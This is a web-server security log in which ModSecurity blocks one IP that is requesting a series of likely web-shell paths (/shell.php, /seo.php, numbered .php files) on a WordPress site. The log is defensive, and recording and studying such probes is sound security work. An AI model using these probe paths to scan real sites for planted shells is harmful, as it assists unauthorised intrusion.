[Sun Apr 26 01:35:19.193956 2026] [:error] [pid 3212:tid 3214] [client 20.199.101.230:52630] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aez7V_g-28TY8_YLtUe-TQAAAQA"]
[Sun Apr 26 01:35:19.779491 2026] [:error] [pid 3212:tid 3227] [client 20.199.101.230:59085] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aez7V_g-28TY8_YLtUe-TwAAAQ0"]
[Sun Apr 26 01:35:20.455777 2026] [:error] [pid 59897:tid 59945] [client 20.199.101.230:35002] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aez7WPBrrkdzpEbmK4fBFwAAAJI"]
[Sun Apr 26 01:35:21.033006 2026] [:error] [pid 3212:tid 3228] [client 20.199.101.230:40014] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aez7Wfg-28TY8_YLtUe-UwAAAQ4"]
[Sun Apr 26 01:35:21.525600 2026] [:error] [pid 59897:tid 59928] [client 20.199.101.230:55068] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "aez7WfBrrkdzpEbmK4fBGgAAAIE"]
[Sun Apr 26 01:35:22.076694 2026] [:error] [pid 3212:tid 3231] [client 20.199.101.230:35005] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "aez7Wvg-28TY8_YLtUe-VwAAARE"]
[Sun Apr 26 01:35:22.707399 2026] [:error] [pid 3212:tid 3225] [client 20.199.101.230:40056] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "aez7Wvg-28TY8_YLtUe-WwAAAQs"]
[Sun Apr 26 01:35:23.284518 2026] [:error] [pid 59897:tid 59927] [client 20.199.101.230:48939] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "aez7W_BrrkdzpEbmK4fBGwAAAIA"]
[Sun Apr 26 01:35:23.998312 2026] [:error] [pid 3212:tid 3238] [client 20.199.101.230:16032] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lupo.php"] [unique_id "aez7W_g-28TY8_YLtUe-YQAAARg"]
[Sun Apr 26 01:35:24.676381 2026] [:error] [pid 59897:tid 59948] [client 20.199.101.230:45432] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lupo.php"] [unique_id "aez7XPBrrkdzpEbmK4fBHAAAAJU"]
[Sun Apr 26 01:35:25.232568 2026] [:error] [pid 59897:tid 59942] [client 20.199.101.230:55056] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lupo.php"] [unique_id "aez7XfBrrkdzpEbmK4fBHgAAAI8"]
[Sun Apr 26 01:35:25.793117 2026] [:error] [pid 59985:tid 60003] [client 20.199.101.230:43743] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lupo.php"] [unique_id "aez7XQF_zDvEhKvyTH7_WQAAABA"]
[Sun Apr 26 01:35:26.311693 2026] [:error] [pid 59898:tid 59956] [client 20.199.101.230:43720] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awa.php"] [unique_id "aez7Xh-4vImxb0kbdzfeDAAAAMI"]
[Sun Apr 26 01:35:26.925910 2026] [:error] [pid 3212:tid 3223] [client 20.199.101.230:34966] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awa.php"] [unique_id "aez7Xvg-28TY8_YLtUe-aQAAAQk"]
[Sun Apr 26 01:35:27.676642 2026] [:error] [pid 3212:tid 3226] [client 20.199.101.230:52664] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awa.php"] [unique_id "aez7X_g-28TY8_YLtUe-bgAAAQw"]
[Sun Apr 26 01:35:28.234592 2026] [:error] [pid 59897:tid 59938] [client 20.199.101.230:52624] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awa.php"] [unique_id "aez7YPBrrkdzpEbmK4fBIQAAAIs"]
[Sun Apr 26 01:35:28.912040 2026] [:error] [pid 3212:tid 3232] [client 20.199.101.230:29838] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/popo.php"] [unique_id "aez7YPg-28TY8_YLtUe-cAAAARI"]
[Sun Apr 26 01:35:29.512849 2026] [:error] [pid 3212:tid 3225] [client 20.199.101.230:48905] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/popo.php"] [unique_id "aez7Yfg-28TY8_YLtUe-cQAAAQs"]
[Sun Apr 26 01:35:30.084771 2026] [:error] [pid 3212:tid 3215] [client 20.199.101.230:29834] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/popo.php"] [unique_id "aez7Yvg-28TY8_YLtUe-dQAAAQE"]
[Sun Apr 26 01:35:30.646099 2026] [:error] [pid 59985:tid 59996] [client 20.199.101.230:34967] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/popo.php"] [unique_id "aez7YgF_zDvEhKvyTH7_XwAAAAk"]
[Sun Apr 26 01:35:31.268362 2026] [:error] [pid 59896:tid 59904] [client 20.199.101.230:48928] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/13.php"] [unique_id "aez7Y7LLzhtkd-OXUgBWAQAAAEQ"]
[Sun Apr 26 01:35:31.866330 2026] [:error] [pid 3212:tid 3218] [client 20.199.101.230:53314] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/13.php"] [unique_id "aez7Y_g-28TY8_YLtUe-ewAAAQQ"]
[Sun Apr 26 01:35:32.746443 2026] [:error] [pid 59897:tid 59941] [client 20.199.101.230:53337] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/13.php"] [unique_id "aez7ZPBrrkdzpEbmK4fBJgAAAI4"]
[Sun Apr 26 01:35:33.480284 2026] [:error] [pid 3212:tid 3221] [client 20.199.101.230:55043] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/13.php"] [unique_id "aez7Zfg-28TY8_YLtUe-fQAAAQc"]
[Sun Apr 26 01:35:34.119831 2026] [:error] [pid 3212:tid 3219] [client 20.199.101.230:48921] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11.php"] [unique_id "aez7Zvg-28TY8_YLtUe-gQAAAQU"]
[Sun Apr 26 01:35:34.718095 2026] [:error] [pid 3212:tid 3231] [client 20.199.101.230:53345] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11.php"] [unique_id "aez7Zvg-28TY8_YLtUe-hQAAARE"]
[Sun Apr 26 01:35:35.304730 2026] [:error] [pid 3212:tid 3216] [client 20.199.101.230:16034] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11.php"] [unique_id "aez7Z_g-28TY8_YLtUe-iAAAAQI"]
[Sun Apr 26 01:35:35.902833 2026] [:error] [pid 59897:tid 59947] [client 20.199.101.230:2991] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11.php"] [unique_id "aez7Z_BrrkdzpEbmK4fBNgAAAJQ"]
[Sun Apr 26 01:35:36.530365 2026] [:error] [pid 59897:tid 59950] [client 20.199.101.230:34981] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/p.php"] [unique_id "aez7aPBrrkdzpEbmK4fBOQAAAJc"]
[Sun Apr 26 01:35:37.193700 2026] [:error] [pid 59897:tid 59932] [client 20.199.101.230:59879] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/p.php"] [unique_id "aez7afBrrkdzpEbmK4fBPQAAAIU"]
[Sun Apr 26 01:35:37.787205 2026] [:error] [pid 59985:tid 59991] [client 20.199.101.230:29872] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/p.php"] [unique_id "aez7aQF_zDvEhKvyTH7_ZQAAAAQ"]
[Sun Apr 26 01:35:38.485985 2026] [:error] [pid 59896:tid 59905] [client 20.199.101.230:29841] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/p.php"] [unique_id "aez7arLLzhtkd-OXUgBWBwAAAEU"]
[Sun Apr 26 01:35:39.098321 2026] [:error] [pid 59985:tid 60000] [client 20.199.101.230:45437] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aez7awF_zDvEhKvyTH7_bgAAAA0"]
[Sun Apr 26 01:35:39.768691 2026] [:error] [pid 59985:tid 60006] [client 20.199.101.230:3003] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aez7awF_zDvEhKvyTH7_cwAAABM"]
[Sun Apr 26 01:35:40.282001 2026] [:error] [pid 59896:tid 59902] [client 20.199.101.230:43766] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aez7bLLLzhtkd-OXUgBWCwAAAEI"]
[Sun Apr 26 01:35:40.864552 2026] [:error] [pid 59896:tid 59904] [client 20.199.101.230:52632] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aez7bLLLzhtkd-OXUgBWDQAAAEQ"]
[Sun Apr 26 01:35:41.393193 2026] [:error] [pid 59896:tid 59924] [client 20.199.101.230:59073] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "aez7bbLLzhtkd-OXUgBWDwAAAFg"]
[Sun Apr 26 01:35:42.036040 2026] [:error] [pid 3212:tid 3223] [client 20.199.101.230:29840] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "aez7bvg-28TY8_YLtUe-jAAAAQk"]
[Sun Apr 26 01:35:42.662900 2026] [:error] [pid 3212:tid 3225] [client 20.199.101.230:52618] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "aez7bvg-28TY8_YLtUe-jgAAAQs"]
[Sun Apr 26 01:35:43.192245 2026] [:error] [pid 59896:tid 59907] [client 20.199.101.230:55061] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "aez7b7LLzhtkd-OXUgBWEwAAAEc"]
[Sun Apr 26 01:35:43.858477 2026] [:error] [pid 59896:tid 59905] [client 20.199.101.230:59902] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aez7b7LLzhtkd-OXUgBWFwAAAEU"]
[Sun Apr 26 01:35:44.536602 2026] [:error] [pid 59896:tid 59923] [client 20.199.101.230:34974] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aez7cLLLzhtkd-OXUgBWGAAAAFc"]
[Sun Apr 26 01:35:45.226022 2026] [:error] [pid 59898:tid 59968] [client 20.199.101.230:49687] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aez7cR-4vImxb0kbdzfeGQAAAM4"]
[Sun Apr 26 01:35:45.733115 2026] [:error] [pid 3212:tid 3214] [client 20.199.101.230:59082] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aez7cfg-28TY8_YLtUe-kQAAAQA"]
[Sun Apr 26 01:35:46.365610 2026] [:error] [pid 3212:tid 3220] [client 20.199.101.230:49682] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/seo.php"] [unique_id "aez7cvg-28TY8_YLtUe-lQAAAQY"]
[Sun Apr 26 01:35:46.946124 2026] [:error] [pid 3212:tid 3226] [client 20.199.101.230:43750] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/seo.php"] [unique_id "aez7cvg-28TY8_YLtUe-lgAAAQw"]
[Sun Apr 26 01:35:47.730218 2026] [:error] [pid 59896:tid 59911] [client 20.199.101.230:59900] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/seo.php"] [unique_id "aez7c7LLzhtkd-OXUgBWGgAAAEs"]
[Sun Apr 26 01:35:48.691377 2026] [:error] [pid 59898:tid 59955] [client 20.199.101.230:29875] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/seo.php"] [unique_id "aez7dB-4vImxb0kbdzfeHQAAAME"]
[Sun Apr 26 01:35:49.452851 2026] [:error] [pid 3212:tid 3223] [client 20.199.101.230:16044] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7.php"] [unique_id "aez7dfg-28TY8_YLtUe-mwAAAQk"]
[Sun Apr 26 01:35:50.065612 2026] [:error] [pid 59985:tid 59992] [client 20.199.101.230:29874] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7.php"] [unique_id "aez7dgF_zDvEhKvyTH7_ngAAAAU"]
[Sun Apr 26 01:35:50.920450 2026] [:error] [pid 59897:tid 59937] [client 20.199.101.230:34972] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7.php"] [unique_id "aez7dvBrrkdzpEbmK4fBfgAAAIo"]
[Sun Apr 26 01:35:51.735016 2026] [:error] [pid 59896:tid 59919] [client 20.199.101.230:49705] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7.php"] [unique_id "aez7d7LLzhtkd-OXUgBWHgAAAFM"]
[Sun Apr 26 01:35:52.387624 2026] [:error] [pid 3212:tid 3232] [client 20.199.101.230:29863] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aez7ePg-28TY8_YLtUe-oQAAARI"]
[Sun Apr 26 01:35:53.031652 2026] [:error] [pid 59896:tid 59912] [client 20.199.101.230:55099] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aez7ebLLzhtkd-OXUgBWIQAAAEw"]
[Sun Apr 26 01:35:53.713367 2026] [:error] [pid 59896:tid 59924] [client 20.199.101.230:2610] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aez7ebLLzhtkd-OXUgBWIgAAAFg"]
[Sun Apr 26 01:35:54.925057 2026] [:error] [pid 59896:tid 59903] [client 20.199.101.230:52652] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aez7erLLzhtkd-OXUgBWKAAAAEM"]
[Sun Apr 26 01:35:56.020681 2026] [:error] [pid 59898:tid 59974] [client 20.199.101.230:55093] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aez7fB-4vImxb0kbdzfeHwAAANQ"]
